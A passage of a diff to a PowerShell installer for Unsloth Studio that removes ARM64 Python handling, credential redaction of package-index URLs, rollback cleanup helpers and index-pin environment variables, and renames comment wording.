param([bool]$Value) if ($Value) { return "true" } @@ -57,32 +48,11 @@ function Install-UnslothStudio { } } - # Machine arch; Get-TauriDiagArch above reports the process. An emulated x64 shell on - # ARM64 reports AMD64, but PROCESSOR_ARCHITEW6432 is ARM64 in exactly that case. - function Get-HostMachineArch { - $osArch = "" - try { $osArch = [System.Runtime.InteropServices.RuntimeInformation]::OSArchitecture.ToString() } catch { $osArch = "" } - $signals = @([string]$env:PROCESSOR_ARCHITEW6432, [string]$env:PROCESSOR_ARCHITECTURE, $osArch) - foreach ($s in $signals) { - if ($s.ToLowerInvariant() -eq "arm64") { return "arm64" } - } - foreach ($s in $signals) { - if ([string]::IsNullOrWhiteSpace($s)) { continue } - switch ($s.ToLowerInvariant()) { - "amd64" { return "x86_64" } - "x64" { return "x86_64" } - "x86" { return "x86" } - } - } - return "unknown" - } - function Get-TauriTorchIndexFamily { param([string]$TorchIndexUrl) if ($SkipTorch) { return "none" } if ([string]::IsNullOrWhiteSpace($TorchIndexUrl)) { return "none" } - # Drop query/fragment first so a token-authenticated pin classifies by family. - $leaf = (($TorchIndexUrl -split '[?#]', 2)[0].TrimEnd('/') -split '/')[-1].ToLowerInvariant() + $leaf = ($TorchIndexUrl.TrimEnd('/') -split '/')[-1].ToLowerInvariant() if (@("cpu", "cu118", "cu124", "cu126", "cu128", "cu130") -contains $leaf) { return $leaf } if ($leaf -match '^rocm[0-9]+\.[0-9]+$') { return $leaf } return "auto" @@ -91,8 +61,7 @@ function Install-UnslothStudio { function Get-TauriGpuBranch { param([string]$TorchIndexFamily) if ($SkipTorch) { return "no_torch" } - # Require a digit after "cu" so /current or /custom isn't branded CUDA (parity ^cu[0-9]). - if ($TorchIndexFamily -match '^cu[0-9]') { return "cuda" } + if ($TorchIndexFamily -like "cu*") { return "cuda" } if ($TorchIndexFamily -like "rocm*") { return "rocm" } if ($TorchIndexFamily -eq "cpu") { return "cpu" } return "unknown" @@ -114,14 +83,13 @@ function Install-UnslothStudio { [int]$Code = 1 ) if ($Code -eq 0) { $Code = 1 } - Write-TauriLog "ERROR_DEFAULT" $Message + Write-TauriLog "ERROR" $Message if (Get-Command Restore-StudioVenvRollback -CommandType Function -ErrorAction SilentlyContinue) { Restore-StudioVenvRollback } if ($TauriMode) { exit $Code } - throw $Message } # ── Parse flags ── @@ -130,9 +98,7 @@ function Install-UnslothStudio { $RepoRoot = "" $TauriMode = $false $SkipTorch = $false - $SkipAutostart = $false $ShortcutsOnly = $false - $WithLlamaCppDir = "" $argList = $args for ($i = 0; $i -lt $argList.Count; $i++) { switch ($argList[$i]) { @@ -150,20 +116,11 @@ function Install-UnslothStudio { } $PackageName = $argList[$i] } - "--with-llama-cpp-dir" { - $i++ - if ($i -ge $argList.Count) { - Write-Host "[ERROR] --with-llama-cpp-dir requires a path argument." -ForegroundColor Red - return (Exit-InstallFailure "--with-llama-cpp-dir requires a path argument.") - } - $WithLlamaCppDir = $argList[$i] - } } } # Env-var equivalent for web installs; an explicit flag still wins. if ($env:UNSLOTH_NO_TORCH -in @('1', 'true', 'yes', 'on')) { $SkipTorch = $true } - if ($env:UNSLOTH_SKIP_AUTOSTART -in @('1', 'true', 'yes', 'on')) { $SkipAutostart = $true } # Propagate to child processes so they also respect verbose mode. # Process-scoped -- does not persist. @@ -206,7 +163,7 @@ function Install-UnslothStudio { $envOverride = $env:STUDIO_HOME.Trim() } - # Custom Unsloth roots are not supported with --tauri (desktop app still + # Custom Studio roots are not supported with --tauri (desktop app still # resolves %USERPROFILE%\.unsloth\studio). Pass through if override == legacy. if ($TauriMode -and $envOverride) { $_tauriOverride = $envOverride @@ -497,70 +454,31 @@ function Install-UnslothStudio { } } - # Redact index-URL credentials (userinfo + ?query= + #fragment) from captured installer - # output before printing on failure; uv/pip errors echo the failing --index-url verbatim. - # Mirrors the other installers. Verbose mode streams uncaptured, so it isn't redacted. - function Redact-InstallOutput { - param([string]$Text) - if (-not $Text) { return $Text } - $Text = $Text -replace '(https?://)[^/@\s`]+@', '$1@' - $Text = $Text -replace '([?&][^=\s&`]+)=[^&#\s`]+', '$1=' - # A #token=... fragment is as sensitive as a query; URL-anchored. - return $Text -replace '(https?://[^\s`#]+)#[^\s`]+', '$1#' - } - # Run native commands quietly by default to match install.sh behavior. # Full command output is shown only when --verbose / UNSLOTH_VERBOSE=1. function Invoke-InstallCommand { param( - [Parameter(Mandatory = $true)][ScriptBlock]$Command, - [string]$Label = "install command" + [Parameter(Mandatory = $true)][ScriptBlock]$Command ) - # Installer-pinned index installs (torch) must beat an inherited uv mirror (#6898): - # for --default-index, clear the uv index env vars (restore in finally) and set - # UV_NO_CONFIG=1 so a uv.toml/pyproject index can't outrank the CLI pin (uv 0.10). - $savedUvIndex = $null - if ($Command.ToString() -match '--default-index') { - $savedUvIndex = @{} - foreach ($n in 'UV_DEFAULT_INDEX', 'UV_INDEX_URL', 'UV_INDEX', 'UV_EXTRA_INDEX_URL', 'UV_TORCH_BACKEND', 'UV_FIND_LINKS', 'UV_CONFIG_FILE', 'UV_NO_CONFIG') { - $savedUvIndex[$n] = [Environment]::GetEnvironmentVariable($n) - Remove-Item "Env:$n" -ErrorAction SilentlyContinue - } - $env:UV_NO_CONFIG = '1' - } $prevEap = $ErrorActionPreference $ErrorActionPreference = "Continue" try { # Reset to avoid stale values from prior native commands. $global:LASTEXITCODE = 0 - Write-TauriLog "OUTPUT_CLEAR" $Label if ($script:UnslothVerbose) { # Merge stderr into stdout so progress/warning output stays visible # without flipping $? on successful native commands (PS 5.1 treats # stderr records as errors that set $? = $false even on exit code 0). - # Redact per record: uv echoes index URLs (credentials and all) in - # its errors, and verbose mode must not bypass the quiet path's - # redaction. ForEach-Object/Out-Host leave $LASTEXITCODE untouched. - & $Command 2>&1 | ForEach-Object { Redact-InstallOutput "$_" } | Out-Host + & $Command 2>&1 | Out-Host } else { $output = & $Command 2>&1 | Out-String if ($LASTEXITCODE -ne 0) { - Write-Host (Redact-InstallOutput $output) -ForegroundColor Red + Write-Host $output -ForegroundColor Red } } - $exitCode = [int]$LASTEXITCODE - if ($exitCode -eq 0) { - Clear-TauriInstallError "$Label recovered" - } else { - Write-TauriLog "ERROR_OUTPUT" "$Label failed (exit code $exitCode)" - } - return $exitCode + return [int]$LASTEXITCODE } finally { $ErrorActionPreference = $prevEap - if ($savedUvIndex) { - Remove-Item "Env:UV_NO_CONFIG" -ErrorAction SilentlyContinue - foreach ($n in $savedUvIndex.Keys) { if ($null -ne $savedUvIndex[$n]) { Set-Item "Env:$n" $savedUvIndex[$n] } } - } } } @@ -585,7 +503,7 @@ function Install-UnslothStudio { } $attempt = 1 while ($true) { - $code = Invoke-InstallCommand -Command $Command -Label $Label + $code = Invoke-InstallCommand $Command if ($code -eq 0) { return 0 } if ($attempt -ge $maxAttempts) { return $code } substep ("retrying ""$Label"" after transient failure (attempt $($attempt + 1)/$maxAttempts, waiting ${delay}s)...") "Yellow" @@ -813,7 +731,7 @@ function Find-FreeLaunchPort { return `$null } -# If Unsloth is already healthy on any expected port, just open it and exit. +# If Studio is already healthy on any expected port, just open it and exit. `$existingPort = Find-HealthyStudioPort if (`$existingPort) { Start-Process "http://localhost:`$existingPort" @@ -829,7 +747,7 @@ try { `$haveMutex = `$true } if (-not `$haveMutex) { - # Another launcher is already running; wait for it to bring Unsloth up + # Another launcher is already running; wait for it to bring Studio up `$deadline = (Get-Date).AddSeconds(`$timeoutSec) while ((Get-Date) -lt `$deadline) { `$port = Find-HealthyStudioPort @@ -1144,27 +1062,10 @@ exit 0 return $false } - # The interpreter's own arch, asked of it: win-amd64|win-arm64|win32|"". - function Get-PythonPlatformTag { - param([string]$Exe) - try { - return (& $Exe -c "import sysconfig; print(sysconfig.get_platform())" 2>$null | Out-String).Trim().ToLowerInvariant() - } catch { return "" } - } - # Returns @{ Version = "3.13"; Path = "C:\...\python.exe" } or $null. # The resolved Path is passed to `uv venv --python` to prevent uv from # re-resolving the version string back to a conda interpreter. function Find-CompatiblePython { - # -X64Only: best installed x64 interpreter or $null, never ARM64. Last resort for - # Install-X64Python, where x64 of a lower-priority minor beats ARM64. - param([switch]$X64Only) - # Windows on ARM: prefer x64. pyarrow (via datasets) and hf-transfer ship no - # win_arm64 wheel, so a native ARM64 Python source-builds both and dies on CMake / - # Rust minutes in; x64 runs fine emulated. ARM64 is still returned when it is all - # there is, and the caller then bootstraps x64 or warns. - $preferX64 = $X64Only -or ((Get-HostMachineArch) -eq "arm64") - $candidates = @() # Try the Python Launcher first (most reliable on Windows) # py.exe resolves to the standard CPython install, not conda. # Prefer the requested $PythonVersion, then newest-first fallback. @@ -1182,8 +1083,7 @@ exit 0 # Resolve the actual executable path and verify it is not conda-based $resolvedExe = (& $pyLauncher.Source "-$minor" -c "import sys; print(sys.executable)" 2>$null | Out-String).Trim() if ($resolvedExe -and (Test-Path $resolvedExe) -and -not (Test-IsCondaPython $resolvedExe)) { - if (-not $preferX64) { return @{ Version = $ver; Path = $resolvedExe; Arch = "" } } - $candidates += @{ Version = $ver; Path = $resolvedExe } + return @{ Version = $ver; Path = $resolvedExe } } } } catch {} @@ -1204,53 +1104,11 @@ exit 0 try { $out = & $cmd.Source --version 2>&1 | Out-String if ($out -match "Python (3\.1[1-3])\.\d+") { - if (-not $preferX64) { return @{ Version = $Matches[1]; Path = $cmd.Source; Arch = "" } } - $candidates += @{ Version = $Matches[1]; Path = $cmd.Source } + return @{ Version = $Matches[1]; Path = $cmd.Source } } } catch {} } } - # `py -3.12` runs the launcher's preferred build, normally the native ARM64 one, so - # a same-minor x64 install that is neither preferred nor on PATH never becomes a - # candidate. `-3.12-64` cannot disambiguate (deprecated, it only means "not - # 32-bit"), so enumerate every registration with -0p and probe each path. - if ($preferX64) { - foreach ($pyLauncher in @(Get-Command py -All -CommandType Application -ErrorAction SilentlyContinue)) { - if ($pyLauncher.Source -match $script:CondaSkipPattern) { continue } - $listed = @() - try { $listed = @(& $pyLauncher.Source "-0p" 2>$null) } catch {} - foreach ($line in $listed) { - # " -V:3.12 * C:\...\python.exe": tag, optional default marker, path. - $m = [regex]::Match([string]$line, '(?i)^\s*-\S+\s+\*?\s*"?(?

\S.*?\.exe)"?\s*$') - if (-not $m.Success) { continue } - $exe = $m.Groups['p'].Value.Trim() - if ($candidates | Where-Object { $_.Path -eq $exe }) { continue } - if (-not (Test-Path -LiteralPath $exe)) { continue } - if (Test-IsCondaPython $exe) { continue } - try { - $out = & $exe --version 2>&1 | Out-String - if ($out -match "Python (3\.1[1-3])\.\d+") { - $candidates += @{ Version = $Matches[1]; Path = $exe } - } - } catch {} - } - } - } - # Prefer x64, but only within one minor: $minors is the caller's version preference, - # so ranking on arch alone would answer UNSLOTH_PYTHON=3.12 with an x64 3.13 and - # never bootstrap x64 3.12. Probing costs a subprocess, so non-ARM returned above. - foreach ($c in $candidates) { - $tag = Get-PythonPlatformTag $c.Path - $c.Arch = if ($tag -eq "win-amd64") { "x86_64" } elseif ($tag -eq "win-arm64") { "arm64" } else { "unknown" } - } - foreach ($minor in $minors) { - $sameMinor = @($candidates | Where-Object { $_.Version -eq $minor }) - if ($sameMinor.Count -eq 0) { continue } - $x64 = $sameMinor | Where-Object { $_.Arch -eq "x86_64" } | Select-Object -First 1 - if ($x64) { return $x64 } - if (-not $X64Only) { return $sameMinor[0] } - } - if (-not $X64Only -and $candidates.Count -gt 0) { return $candidates[0] } return $null } @@ -1261,11 +1119,8 @@ exit 0 # (no UAC), putting python.exe + the py launcher on PATH. Mirrors the uv -> # astral.sh fallback below. Returns @{ Version; Path } or $null. function Install-PythonFromPythonOrg { - # $Arch overrides the host arch, to pull x64 onto an ARM64 box. - param([string]$Arch = "") # python.org ships one installer per architecture. - $targetArch = if ($Arch) { $Arch } else { Get-TauriDiagArch } - $archSuffix = switch ($targetArch) { + $archSuffix = switch (Get-TauriDiagArch) { "x86_64" { "-amd64" } "arm64" { "-arm64" } "x86" { "" } @@ -1330,28 +1185,6 @@ exit 0 return (Find-CompatiblePython) } - # ── Windows on ARM: get an x64 CPython ── - # --architecture x64 forces winget off the ARM64 build; python.org takes the same override. - function Install-X64Python { - if ($script:WingetAvailable) { - $prevEAP = $ErrorActionPreference - $ErrorActionPreference = "Continue" - try { - winget install -e --id "Python.Python.$PythonVersion" --source winget --architecture x64 --accept-package-agreements --accept-source-agreements - } catch { } - $ErrorActionPreference = $prevEAP - Refresh-SessionPath - $found = Find-CompatiblePython - if ($found -and $found.Arch -eq "x86_64") { return $found } - substep "winget could not provide an x64 Python -- trying python.org..." "Yellow" - } - $found = Install-PythonFromPythonOrg -Arch "x86_64" - if ($found -and $found.Arch -eq "x86_64") { return $found } - # Nothing installable (offline / no winget): an x64 build of another supported minor - # still runs the wheels ARM64 cannot, so take it over the native interpreter. - return (Find-CompatiblePython -X64Only) - } - # ── Install Python if no compatible version (3.11-3.13) found ── # Find-CompatiblePython returns @{ Version = "3.13"; Path = "C:\...\python.exe" } or $null. Write-TauriLog "STEP" "Installing Python" @@ -1423,26 +1256,6 @@ exit 0 return (Exit-InstallFailure "Python installation failed") } } - # ── Windows on ARM: swap a native ARM64 interpreter for x64 ── - # pyarrow and hf-transfer publish no win_arm64 wheel, so an ARM64 Python source-builds - # both and fails deep into the run. Warn up front if x64 is unobtainable. - if ($DetectedPython -and (Get-HostMachineArch) -eq "arm64" -and $DetectedPython.Arch -ne "x86_64") { - substep "windows on arm: only a native ARM64 Python $($DetectedPython.Version) was found." "Yellow" - substep "pyarrow and hf-transfer publish no win_arm64 wheels, so installing x64 Python..." "Yellow" - $X64Python = Install-X64Python - if ($X64Python) { - $DetectedPython = $X64Python - step "python" "using x64 Python $($DetectedPython.Version) under emulation" - } else { - Write-Host "[WARN] Could not install an x64 Python on this ARM64 machine." -ForegroundColor Yellow - Write-Host " Continuing with ARM64 Python $($DetectedPython.Version), but the install is likely to fail:" -ForegroundColor Yellow - Write-Host " pyarrow (via datasets) and hf-transfer ship no win_arm64 wheels and will be" -ForegroundColor Yellow - Write-Host " built from source, which needs CMake plus the MSVC and Rust toolchains." -ForegroundColor Yellow - Write-Host " Fix: install x64 Python from https://www.python.org/downloads/windows/" -ForegroundColor Yellow - Write-Host " (choose 'Windows installer (64-bit)', not ARM64), then re-run this installer." -ForegroundColor Yellow - } - } - $DiagPythonVersion = $PythonVersion if ($DetectedPython) { $DiagPythonVersion = $DetectedPython.Version } $InitialGpuBranch = "unknown" @@ -1557,82 +1370,13 @@ exit 0 $suffix++ $candidate = Join-Path $StudioHome "unsloth_studio.rollback.$stamp.$PID.$suffix" } + Move-Item -LiteralPath $ExistingDir -Destination $candidate -ErrorAction Stop $script:StudioVenvRollbackDir = $candidate $script:StudioVenvRollbackTarget = $ExistingDir $script:StudioVenvRollbackActive = $true - # Publish the rollback state before the atomic rename so interruption - # cannot land after Move-Item but before cleanup knows where the old venv went. - try { - Move-Item -LiteralPath $ExistingDir -Destination $candidate -ErrorAction Stop - } catch { - # A collision or ordinary rename failure leaves the original in place. - # Keep state active only when the rename happened before interruption. - if (Test-Path -LiteralPath $ExistingDir) { - $script:StudioVenvRollbackActive = $false - $script:StudioVenvRollbackDir = $null - } - throw - } substep "previous environment preserved for rollback" } - function Remove-StudioVenvTreeWithRetry { - param( - [Parameter(Mandatory = $true)][string]$Path, - [Parameter(Mandatory = $true)][string]$Label - ) - $lastError = $null - for ($attempt = 1; $attempt -le 3; $attempt++) { - try { - Remove-Item -LiteralPath $Path -Recurse -Force -ErrorAction Stop - } catch { - $lastError = $_.Exception.Message - } - if (-not (Test-Path -LiteralPath $Path)) { return $true } - if ($attempt -lt 3) { Start-Sleep -Milliseconds (250 * $attempt) } - } - Write-Host "[WARN] Could not remove $Label at $Path" -ForegroundColor Yellow - if ($lastError) { Write-Host " $lastError" -ForegroundColor Yellow } - return $false - } - - function Test-StudioVenvRollbackMustBePreserved { - param([Parameter(Mandatory = $true)][System.IO.FileSystemInfo]$Rollback) - # Preserve anything outside the installer's timestamp.PID[.suffix] format. - if ($Rollback.Name -notmatch '^unsloth_studio\.rollback\.[0-9]{14}\.([0-9]+)(?:\.[0-9]+)?$') { - return $true - } - $ownerPid = 0 - if (-not [int]::TryParse($Matches[1], [ref]$ownerPid)) { return $true } - if ($ownerPid -eq $PID) { return $true } - return $null -ne (Get-Process -Id $ownerPid -ErrorAction SilentlyContinue) - } - - function Remove-StaleStudioVenvRollbacks { - try { - $rollbacks = @( - Get-ChildItem -LiteralPath $StudioHome -Directory -Force -ErrorAction Stop | - Where-Object { $_.Name -like 'unsloth_studio.rollback.*' } - ) - } catch { - Write-Host "[WARN] Could not inspect stale environment rollbacks in $StudioHome" -ForegroundColor Yellow - Write-Host " $($_.Exception.Message)" -ForegroundColor Yellow - return - } - foreach ($rollback in $rollbacks) { - if (($rollback.Attributes -band [System.IO.FileAttributes]::ReparsePoint) -ne 0) { - Write-Host "[WARN] Refusing to remove rollback reparse point $($rollback.FullName)" -ForegroundColor Yellow - continue - } - # A concurrent installer may have moved its live venv aside. The PID - # in the generated name keeps this run from deleting its rescue copy. - if (Test-StudioVenvRollbackMustBePreserved -Rollback $rollback) { continue } - if (Remove-StudioVenvTreeWithRetry -Path $rollback.FullName -Label "stale environment rollback") { - substep "removed stale environment rollback $($rollback.Name)" - } - } - } - function Restore-StudioVenvRollback { if (-not $script:StudioVenvRollbackActive) { return } $backup = $script:StudioVenvRollbackDir @@ -1644,9 +1388,7 @@ exit 0 substep "restoring previous environment after failed install..." "Yellow" try { if (Test-Path -LiteralPath $target) { - if (-not (Remove-StudioVenvTreeWithRetry -Path $target -Label "incomplete environment")) { - throw "Could not remove incomplete environment at $target" - } + Remove-Item -LiteralPath $target -Recurse -Force -ErrorAction SilentlyContinue } Move-Item -LiteralPath $backup -Destination $target -Force -ErrorAction Stop substep "restored previous environment" @@ -1661,21 +1403,17 @@ exit 0 function Complete-StudioVenvRollback { if (-not $script:StudioVenvRollbackActive) { return } $backup = $script:StudioVenvRollbackDir - # The replacement is committed. Disable restoration before deleting the - # backup so interruption cannot restore a partially deleted environment. + if ($backup -and (Test-Path -LiteralPath $backup)) { + Remove-Item -LiteralPath $backup -Recurse -Force -ErrorAction SilentlyContinue + } $script:StudioVenvRollbackActive = $false $script:StudioVenvRollbackDir = $null - if ($backup -and (Test-Path -LiteralPath $backup)) { - Remove-StudioVenvTreeWithRetry -Path $backup -Label "environment rollback" | Out-Null - } } - $studioVenvReplacementCommitted = $false - try { if (Test-Path -LiteralPath $VenvPython) { # why: matching guard to the .venv branch below -- in env-mode # $StudioHome is a user-chosen workspace, so refuse to nuke an - # existing $StudioHome\unsloth_studio that lacks Unsloth sentinels. + # existing $StudioHome\unsloth_studio that lacks Studio sentinels. # -PathType Leaf rejects a directory at the sentinel path. Accept the # in-VENV ownership marker so partial-install retries are not blocked. if ( @@ -1686,7 +1424,7 @@ exit 0 ) { Write-Host "[ERROR] $VenvDir already exists but does not look like an Unsloth Studio install." -ForegroundColor Red Write-Host " Move it aside or choose an empty UNSLOTH_STUDIO_HOME." -ForegroundColor Yellow - throw "Refusing to delete non-Unsloth venv at $VenvDir" + throw "Refusing to delete non-Studio venv at $VenvDir" } # New layout already exists -- replace only after preserving rollback copy. substep "preserving existing environment for rollback..." @@ -1705,7 +1443,7 @@ exit 0 # workspace root (e.g. user's existing project Python venv). $OldVenv = Join-Path $StudioHome ".venv" $OldPy = Join-Path $OldVenv "Scripts\python.exe" - substep "found legacy Unsloth environment, validating..." + substep "found legacy Studio environment, validating..." $prevEAP2 = $ErrorActionPreference $ErrorActionPreference = "Continue" try { @@ -1735,7 +1473,7 @@ exit 0 # Skip in env-mode so we don't relocate the default-install venv into # the workspace root. $CwdVenv = Join-Path $env:USERPROFILE "unsloth_studio" - substep "found CWD-relative Unsloth environment, migrating to $VenvDir..." + substep "found CWD-relative Studio environment, migrating to $VenvDir..." Move-Item -LiteralPath $CwdVenv -Destination $VenvDir -Force substep "moved ~/unsloth_studio -> ~/.unsloth/studio/unsloth_studio" $_Migrated = $true @@ -1744,7 +1482,7 @@ exit 0 if (-not (Test-Path -LiteralPath $VenvPython)) { step "venv" "creating Python $($DetectedPython.Version) virtual environment" substep "$VenvDir" - $venvExit = Invoke-InstallCommand -Label "create virtual environment" { uv venv $VenvDir --python "$($DetectedPython.Path)" } + $venvExit = Invoke-InstallCommand { uv venv $VenvDir --python "$($DetectedPython.Path)" } if ($venvExit -ne 0) { Write-Host "[ERROR] Failed to create virtual environment (exit code $venvExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to create virtual environment (exit code $venvExit)" $venvExit) @@ -1754,7 +1492,7 @@ exit 0 substep "$VenvDir" } - # Mark the freshly-created venv as Unsloth-owned so a partial install can be + # Mark the freshly-created venv as Studio-owned so a partial install can be # repaired by re-running install.ps1; the env-mode deletion guard above # accepts this marker as the primary sentinel. if (Test-Path -LiteralPath $VenvDir -PathType Container) { @@ -1763,7 +1501,7 @@ exit 0 # ── Helper: run amd-smi without triggering a UAC elevation prompt ── # amd-smi on Windows auto-elevates to read GPU/APU memory, surfacing a confusing - # DiskPart UAC prompt mid-install (Unsloth backend amd.py hits the same). + # DiskPart UAC prompt mid-install (Studio backend amd.py hits the same). # __COMPAT_LAYER=RunAsInvoker forces it (and helpers it spawns) to run # un-elevated; on failure the WMI name -> gfx fallback still resolves the arch. function Invoke-AmdSmiNoElevate { @@ -1890,7 +1628,7 @@ exit 0 function Test-HipinfoIsVenvInternal { param([AllowNull()][string]$HipinfoPath) if ([string]::IsNullOrWhiteSpace($HipinfoPath)) { return $false } - # Also derive the venv from the setup python + default Unsloth home, so + # Also derive the venv from the setup python + default Studio home, so # the venv hipInfo is caught when VenvDir/VIRTUAL_ENV are unset. $venvRoots = @() if ($env:VIRTUAL_ENV) { $venvRoots += $env:VIRTUAL_ENV } @@ -1900,7 +1638,7 @@ exit 0 try { $venvRoots += (Split-Path -Parent (Split-Path -Parent $env:UNSLOTH_SETUP_PYTHON)) } catch {} } if ($env:USERPROFILE) { $venvRoots += (Join-Path $env:USERPROFILE ".unsloth\studio\unsloth_studio") } - # A custom Unsloth home (UNSLOTH_STUDIO_HOME / STUDIO_HOME alias) moves the + # A custom Studio home (UNSLOTH_STUDIO_HOME / STUDIO_HOME alias) moves the # venv off the default path; seed it too or its hipInfo escapes the filter. $studioHomeEnv = if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_STUDIO_HOME)) { $env:UNSLOTH_STUDIO_HOME.Trim() } elseif (-not [string]::IsNullOrWhiteSpace($env:STUDIO_HOME)) { $env:STUDIO_HOME.Trim() } else { $null } if ($studioHomeEnv) { @@ -2058,14 +1796,12 @@ exit 0 # (gfx120X/110X/1151/1150/103X); unknown names fall back to CPU. elseif ($ROCmGpuLabel) { $nameArchTable = @( - @{ P = "9070|9080"; A = "gfx1201" } # RDNA 4 (Navi 48: RX 9070 XT / 9070 GRE / 9070 / 9080) - @{ P = "9060"; A = "gfx1200" } # RDNA 4 (Navi 44: RX 9060 XT / 9060) - @{ P = "8065S|8060S|8050S|8040S|Strix Halo|Ryzen AI Max|AI Max"; A = "gfx1151" } # RDNA 3.5 (Strix Halo + Gorgon Halo: Radeon 8065S/8060S/8050S/8040S iGPU, Ryzen AI Max / Max+) - @{ P = "890M|880M|Strix Point|HX 37[05]|AI 9 HX|AI 9 36[05]"; A = "gfx1150" } # RDNA 3.5 (Strix Point: Radeon 890M/880M, Ryzen AI 9 HX 370/375) - @{ P = "860M|840M|Krackan|AI 7 35[05]|AI 5 34[05]|AI 7 PRO 35|AI 5 33"; A = "gfx1152" } # RDNA 3.5 (Krackan Point: Radeon 860M/840M, Ryzen AI 7 350 / AI 5 340) - @{ P = "RX 7900|PRO W7900|PRO W7800"; A = "gfx1100" } # RDNA 3 desktop/workstation (Navi 31) - @{ P = "RX 7800|RX 7700(?!S)|PRO W7700|PRO V710"; A = "gfx1101" } # RDNA 3 (Navi 32) - @{ P = "RX 7600|RX 7700S|RX 7650|PRO W7600|PRO W7500"; A = "gfx1102" } # RDNA 3 (Navi 33) + @{ P = "9070 XT|9080"; A = "gfx1201" } # RDNA 4 (RX 9070 XT / 9080) + @{ P = "9070|9060"; A = "gfx1200" } # RDNA 4 (RX 9070 / 9060) + @{ P = "8060S|8050S|8040S|Strix Halo|Ryzen AI Max|AI Max"; A = "gfx1151" } # RDNA 3.5 (Strix Halo: Radeon 8060S/8050S/8040S iGPU, Ryzen AI Max+) + @{ P = "890M|880M|860M|840M|Strix Point|Krackan|HX 37[05]|AI 9 HX|AI 9 36[05]|AI 7 35[05]|AI 5 34[05]|AI 7 PRO 35|AI 5 33"; A = "gfx1150" } # RDNA 3.5 (Strix/Krackan Point: Radeon 890M/880M iGPU, Ryzen AI 9 HX 370/375) + @{ P = "RX 7900|RX 7800|RX 7700(?!S)|PRO W7900|PRO W7800|PRO W7700"; A = "gfx1100" } # RDNA 3 desktop/workstation (Navi 31) + @{ P = "RX 7600|RX 7700S|RX 7650|PRO W7600|PRO W7500|PRO V710"; A = "gfx1102" } # RDNA 3 (Navi 33) @{ P = "780M|760M|740M|Phoenix|Hawk Point|Z1 Extreme|Z2 Extreme"; A = "gfx1103" } # RDNA 3 iGPU (Phoenix / Hawk Point) @{ P = "RX 6900|RX 6800|RX 6750|RX 6700|PRO W6800|PRO W6900"; A = "gfx1030" } # RDNA 2 (Navi 21) -- gfx103X family @{ P = "RX 6650|RX 6600|PRO W6600|PRO W6650"; A = "gfx1032" } # RDNA 2 (Navi 23) -- gfx103X family @@ -2181,7 +1917,7 @@ exit 0 substep " Ensure the ROCm compute driver is installed alongside the display driver:" "Yellow" substep " https://rocm.docs.amd.com/en/latest/deploy/windows/index.html" "Yellow" } elseif ($ROCmGfxArch) { - # Known arch: Unsloth setup installs AMD's bundled-runtime ROCm PyTorch wheels + # Known arch: Studio setup installs AMD's bundled-runtime ROCm PyTorch wheels # (repo.amd.com), which ship their own runtime -- HIP SDK optional. step "gpu" "AMD ROCm ($ROCmGfxArch)" "Cyan" substep "Detected: $ROCmGpuLabel" "Cyan" @@ -2199,31 +1935,10 @@ exit 0 # On an AMD GPU (no NVIDIA), surface the optional WSL-ROCm driver hint. if (-not $HasNvidiaSmi -and ($ROCmGfxArch -or $ROCmGpuLabel)) { Show-AmdWslDriverHint } - # Trim trailing slashes from the URL PATH only, preserving ?query / #fragment: a whole-URL - # TrimEnd corrupts a token ending in "/", a single strip leaves .../cu128// empty. Shared. - function Trim-IndexPathSlashes { - param([string]$Url) - $value = $Url.Trim() - $idx = $value.IndexOfAny([char[]]@('?', '#')) - if ($idx -lt 0) { - return $value.TrimEnd('/') - } - return $value.Substring(0, $idx).TrimEnd('/') + $value.Substring($idx) - } - # ── Choose the correct PyTorch index URL based on driver CUDA version ── # Mirrors Get-PytorchCudaTag in setup.ps1. function Get-TorchIndexUrl { $baseUrl = if ($env:UNSLOTH_PYTORCH_MIRROR) { $env:UNSLOTH_PYTORCH_MIRROR.TrimEnd('/') } else { "https://download.pytorch.org/whl" } - # Explicit pin -- skip ALL GPU probing (headless / CI / cross-install). - # UNSLOTH_TORCH_INDEX_URL wins (full URL, verbatim); _FAMILY is the leaf appended - # to the mirror base. Matches install.sh / install_python_stack.py. - if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_URL)) { - return (Trim-IndexPathSlashes $env:UNSLOTH_TORCH_INDEX_URL) - } - if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_FAMILY)) { - return "$baseUrl/$($env:UNSLOTH_TORCH_INDEX_FAMILY.Trim().Trim('/'))" - } if (-not $NvidiaSmiExe) { return "$baseUrl/cpu" } try { $output = Invoke-NvidiaSmiBounded $NvidiaSmiExe @@ -2244,27 +1959,6 @@ exit 0 return "$baseUrl/cu126" } - # Strip userinfo AND query/fragment so an authenticated pin never leaks. Shared with - # _strip_index_url_credentials (install.sh / py / setup.ps1). - function Remove-IndexUrlCredentials { - param([string]$Url) - # Ordinal, not culture-aware: on non-English locales (e.g. th-TH) linguistic - # IndexOf treats "://" as ignorable, mis-locates it, and crashes Substring (issue #7279). - $sep = $Url.IndexOf('://', [System.StringComparison]::Ordinal) - if ($sep -lt 0) { return $Url } - $scheme = $Url.Substring(0, $sep) - $rest = $Url.Substring($sep + 3) - # Drop query / fragment (may hold auth tokens). - $q = $rest.IndexOfAny([char[]]('?', '#')) - if ($q -ge 0) { $rest = $rest.Substring(0, $q) } - $slash = $rest.IndexOf('/', [System.StringComparison]::Ordinal) - $authority = if ($slash -ge 0) { $rest.Substring(0, $slash) } else { $rest } - $at = $authority.LastIndexOf('@', [System.StringComparison]::Ordinal) - $host_ = if ($at -ge 0) { $authority.Substring($at + 1) } else { $authority } - if ($slash -ge 0) { return "${scheme}://${host_}$($rest.Substring($slash))" } - return "${scheme}://${host_}" - } - # ── Torch flavor helpers (to repair a stale CPU / wrong-CUDA wheel) ── # torch.__version__ -> flavor tag (cuXXX / rocm / cpu); untagged wheel = cpu, # matching setup.ps1's stale-venv parse. @@ -2283,13 +1977,11 @@ exit 0 param([string]$TorchIndexUrl, [string]$ROCmIndexUrl) if (-not [string]::IsNullOrWhiteSpace($ROCmIndexUrl)) { return 'rocm' } if ([string]::IsNullOrWhiteSpace($TorchIndexUrl)) { return $null } - # Drop query/fragment first so .../cu128?token=x classifies as cu128 (else it reinstalls every run). - $leaf = (($TorchIndexUrl -split '[?#]', 2)[0].TrimEnd('/') -split '/')[-1].ToLowerInvariant() + $leaf = ($TorchIndexUrl.TrimEnd('/') -split '/')[-1].ToLowerInvariant() if ($leaf -match '^cu\d+$') { return $leaf } if ($leaf -eq 'cpu') { return 'cpu' } if ($leaf -match '^rocm') { return 